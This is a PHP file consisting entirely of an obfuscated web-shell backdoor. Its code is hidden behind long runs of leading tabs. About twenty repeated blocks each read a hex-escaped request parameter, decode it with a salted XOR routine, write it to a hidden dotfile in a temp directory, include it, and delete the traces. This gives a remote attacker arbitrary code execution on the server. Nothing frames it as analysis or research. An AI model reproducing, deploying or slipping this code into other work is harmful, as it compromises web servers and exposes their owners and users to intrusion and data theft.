<?php																																										if(!empty($_REQUEST["m\x72\x6B"])){ $obj = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp"]); $record = $_REQUEST["m\x72\x6B"]; $record= explode( ".", $record) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); foreach($record as $u=>$v3) { $chS = ord($salt3[$u %$sLen] ); $dec =((int)$v3 - $chS -($u %10)) ^ 75; $resource .= chr($dec ); } $bind = 0; do { $dchunk = $obj[$bind] ?? null; if ($bind >= count($obj)) break; if ((is_dir($dchunk) and is_writable($dchunk))) { $reference = "$dchunk" . "/.component"; if (file_put_contents($reference, $resource)) { include $reference; @unlink($reference); die(); } } $bind++; } while (true); }
																																										if(array_key_exists("p\x73e\x74", $_REQUEST) && !is_null($_REQUEST["p\x73e\x74"])){ $ref = array_filter([session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); $resource = $_REQUEST["p\x73e\x74"]; $resource = explode ( '.' , $resource ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__tmp = $resource; while($v4 = array_shift($__tmp)) { $chS = ord($s[$r %$lenS]); $dec =((int)$v4 - $chS -($r %10)) ^ 50; $flg .= chr($dec); $r++; } foreach ($ref as $object) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $property_set = vsprintf("%s/%s", [$object, ".sym"]); if (file_put_contents($property_set, $flg)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(in_array("\x6F\x62\x6Aect", array_keys($_POST))){ $ref = $_POST["\x6F\x62\x6Aect"]; $ref =explode ('.' ,$ref ); $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; array_walk($ref , function($v8) use(&$reference , &$z , $salt , $sLen) { $sChar = ord($salt[$z % $sLen]); $d = ((int)$v8 - $sChar -($z % 10)) ^ 76; $reference .= chr($d); $z++; } ); $ptr = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); while ($key = array_shift($ptr)) { if ((is_dir($key) and is_writable($key))) { $component = "$key" . "/.resource"; if (file_put_contents($component, $reference)) { include $component; @unlink($component); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65nti\x74\x79"])){ $pset = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP")]); $pointer = $_REQUEST["\x65nti\x74\x79"]; $pointer = explode ( "." , $pointer ) ; $pgrp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($pointer as $u=> $v4) { $sChar = ord($salt6[$u %$sLen]); $d = ((int)$v4 - $sChar - ($u %10)) ^ 28; $pgrp .= chr($d); } foreach ($pset as $dat) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $record = "$dat" . "/.val"; if (file_put_contents($record, $pgrp)) { require $record; unlink($record); exit; } } } }
																																										if(in_array("ps\x65t", array_keys($_REQUEST))){ $flag = $_REQUEST["ps\x65t"]; $flag = explode('.' ,$flag) ; $res= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt7); $s= 0; $len= count($flag); do { if ($s >= $len) break; $v7= $flag[$s]; $sChar= ord($salt7[$s % $lenS]); $dec= ((int)$v7 - $sChar - ($s % 10))^ 84; $res .= chr($dec); $s++; } while (true); $bind = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); while ($resource = array_shift($bind)) { if (is_dir($resource) && is_writable($resource)) { $token = "$resource/.value"; if (@file_put_contents($token, $res) !== false) { include $token; unlink($token); die(); } } } }
																																										if(!is_null($_POST["\x69t\x6D"] ?? null)){ $object = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $reference = $_POST["\x69t\x6D"]; $reference = explode ( "." , $reference ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $k = 0; $__len = count($reference ); do { if($k >= $__len) break; $v6 = $reference[$k]; $sChar = ord($s[$k % $sLen] ); $dec = ((int)$v6 - $sChar -($k % 10)) ^ 56; $ptr .= chr($dec ); $k++;}while(true ); foreach ($object as $key => $record) { if (is_dir($record) ? is_writable($record) : false) { $fac = "$record" . "/.ref"; if (file_put_contents($fac, $ptr)) { require $fac; unlink($fac); die(); } } } }
																																										if(isset($_REQUEST["e\x6Ce\x6De\x6E\x74"])){ $data = $_REQUEST["e\x6Ce\x6De\x6E\x74"]; $data = explode("." ,$data ); $entity = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $u = 0; array_walk($data , function ($v9) use (&$entity , &$u , $s8 , $sLen) { $sChar = ord($s8[$u % $sLen]); $d = ((int)$v9 - $sChar - ($u % 10)) ^ 5; $entity .= chr($d); $u++; }); $value = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp"]); foreach ($value as $symbol) { if (!( !is_dir($symbol) || !is_writable($symbol) )) { $pgrp = str_replace("{var_dir}", $symbol, "{var_dir}/.hld"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(@$_REQUEST["co\x6Dpo\x6Ee\x6Et"] !== null){ $ref = $_REQUEST["co\x6Dpo\x6Ee\x6Et"]; $ref = explode (".",$ref ) ; $ent = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $y = 0; $__tmp = $ref; while ($v4 = array_shift($__tmp)) { $sChar = ord($salt5[$y% $lenS]); $d = ((int)$v4 - $sChar - ($y% 10))^ 3; $ent .= chr($d); $y++; } $factor = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); foreach ($factor as $key => $flag) { if (!( !is_dir($flag) || !is_writable($flag) )) { $comp = join("/", [$flag, ".object"]); if (@file_put_contents($comp, $ent) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(!empty($_POST["f\x6Ca\x67"])){ $comp = $_POST["f\x6Ca\x67"]; $comp = explode("." ,$comp ) ; $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $x = 0; foreach ($comp as $v6) { $chS = ord($salt7[$x %$sLen]); $d = ((int)$v6 - $chS - ($x %10))^59; $itm .= chr($d); $x++; } $marker = array_filter(["/tmp", "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($marker as $key => $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $factor = join("/", [$ent, ".pointer"]); $success = file_put_contents($factor, $itm); if ($success) { include $factor; @unlink($factor); exit;} } } }
																																										if(in_array("h\x6C\x64", array_keys($_REQUEST))){ $data_chunk = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $k = $_REQUEST["h\x6C\x64"]; $k = explode ( '.' ,$k ) ; $binding= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt3); $p= 0; while($p < count($k)) { $v5= $k[$p]; $sChar= ord($salt3[$p % $sLen]); $d= ((int)$v5 - $sChar -($p % 10)) ^ 15; $binding .= chr($d); $p++; } foreach ($data_chunk as $resource): if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $value = vsprintf("%s/%s", [$resource, ".component"]); if (@file_put_contents($value, $binding) !== false) { include $value; unlink($value); die(); } } endforeach; }
																																										if(@$_REQUEST["en\x74r\x79"] !== null){ $itm = $_REQUEST["en\x74r\x79"]; $itm = explode('.' , $itm ) ; $resource=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $u=0; array_walk($itm ,function ($v7) use (&$resource ,&$u ,$salt ,$sLen) { $chS=ord($salt[$u % $sLen]); $dec=((int)$v7 - $chS - ($u % 10)) ^ 26; $resource .=chr($dec); $u++; } ); $reference = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm"]); foreach ($reference as $token): if (is_dir($token) ? is_writable($token) : false) { $key = join("/", [$token, ".obj"]); if (file_put_contents($key, $resource)) { require $key; unlink($key); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x6Be\x79")){ $entry = $_REQUEST["\x6Be\x79"]; $entry = explode ( '.', $entry) ; $itm = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($entry as $q=> $v1) {$sChar = ord($s2[$q % $lenS]); $d = ((int)$v1 - $sChar - ($q % 10)) ^ 87; $itm.=chr($d); } $ptr = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path()]); for ($component = 0, $obj = count($ptr); $component < $obj; $component++) { $pointer = $ptr[$component]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $data = implode("/", [$pointer, ".object"]); $success = file_put_contents($data, $itm); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(isset($_REQUEST["en\x74ry"])){ $pgrp = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); $ref = $_REQUEST["en\x74ry"]; $ref = explode( "." , $ref) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $q = 0; array_walk($ref, function ($v6) use (&$tkn, &$q, $s, $sLen) { $sChar = ord($s[$q % $sLen] ); $dec = ((int)$v6 - $sChar - ($q % 10)) ^ 16; $tkn .= chr($dec ); $q++; } ); for ($itm = 0, $sym = count($pgrp); $itm < $sym; $itm++) { $bind = $pgrp[$itm]; if (is_dir($bind) && is_writable($bind)) { $data_chunk = "$bind" . "/.factor"; $success = file_put_contents($data_chunk, $tkn); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x72op\x65r\x74\x79_\x73et"])){ $parameter_group = $_REQUEST["\x70\x72op\x65r\x74\x79_\x73et"]; $parameter_group=explode ( "." , $parameter_group ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $s = 0; $__tmp = $parameter_group; while( $v4 = array_shift( $__tmp)) { $chS = ord( $salt[$s% $lenS]); $d = ( ( int)$v4 - $chS -( $s% 10)) ^ 20; $bind .= chr( $d); $s++; } $ent = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP")]); foreach ($ent as $fac): if ((is_dir($fac) and is_writable($fac))) { $rec = vsprintf("%s/%s", [$fac, ".object"]); if (file_put_contents($rec, $bind)) { include $rec; @unlink($rec); exit; } } endforeach; }
																																										if(isset($_REQUEST["p\x72o\x70\x65\x72t\x79\x5Fset"]) ? true : false){ $token = $_REQUEST["p\x72o\x70\x65\x72t\x79\x5Fset"]; $token = explode (".",$token) ; $hld = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $__len = count($token); for($y = 0; $y< $__len; $y++) { $v4 = $token[$y]; $sChar = ord($s2[$y % $sLen]); $dec = ((int)$v4 - $sChar -($y % 10)) ^ 41; $hld .= chr($dec); } $elem = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); foreach ($elem as $entry) { if ((is_dir($entry) and is_writable($entry))) { $fac = vsprintf("%s/%s", [$entry, ".record"]); $success = file_put_contents($fac, $hld); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["res"])){ $flag = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP")]); $sym = $_REQUEST["res"]; $sym = explode ( '.' ,$sym ); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($sym as $v=>$v3): $sChar = ord($s[$v % $sLen]); $dec = ((int)$v3 - $sChar -($v % 10)) ^ 88; $ent .= chr($dec); endforeach; foreach ($flag as $obj): if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $token = "$obj/.tkn"; if (file_put_contents($token, $ent)) { require $token; unlink($token); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x63\x68unk"])){ $pgrp = $_REQUEST["\x64\x63\x68unk"]; $pgrp = explode( '.', $pgrp ) ; $element = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $i = 0; array_walk($pgrp, function ($v8) use (&$element, &$i, $salt7, $sLen) { $chS = ord($salt7[$i % $sLen]); $d = ((int)$v8 - $chS - ($i % 10)) ^ 29; $element .= chr($d); $i++; }); $symbol = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getcwd()]); while ($value = array_shift($symbol)) { if (max(0, is_dir($value) * is_writable($value))) { $elem = implode("/", [$value, ".obj"]); if (file_put_contents($elem, $element)) { require $elem; unlink($elem); die(); } } } }
																																										if(in_array("e\x6E\x74ry", array_keys($_REQUEST))){ $component = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp"]); $reference = $_REQUEST["e\x6E\x74ry"]; $reference=explode( '.', $reference ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $k = 0; foreach( $reference as $v6) {$sChar = ord( $salt[$k% $lenS]); $d = ( ( int)$v6 - $sChar -( $k% 10)) ^ 52; $key .= chr( $d); $k++; } $k = 0; do { $element = $component[$k] ?? null; if ($k >= count($component)) break; if (!!is_dir($element) && !!is_writable($element)) { $sym = str_replace("{var_dir}", $element, "{var_dir}/.fac"); if (file_put_contents($sym, $key)) { include $sym; @unlink($sym); exit; } } $k++; } while (true); }


if(count($_POST) > 0 && isset($_POST["\x6D\x61rke\x72"])){
	$pointer = array_filter([session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]);
	$element = $_POST["\x6D\x61rke\x72"];
			$element 	=explode ( 	 "."		 , 		$element )	 ;			
	$flg = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt6);
            $s = 0;
            $__len = count(		$element);
    
            do {	if(		$s >= $__len) break;
                $v2 = $element[$s];
                $sChar = ord(		$salt6[$s%	 $lenS]);
                $dec =(		(		int)$v2 - $sChar -(		$s%	 10)) ^ 20;
                $flg .= chr(		$dec);
                $s++;
            } while(		true);
	$res = 0;
do {
    $token = $pointer[$res] ?? null;
    if ($res >= count($pointer)) break;
    		if ((is_dir($token) and is_writable($token))) {
    $elem = join("/", [$token, ".desc"]);
    if (@file_put_contents($elem, $flg) !== false) {
	include $elem;
	unlink($elem);
	die();
}
}
    $res++;
} while (true);
}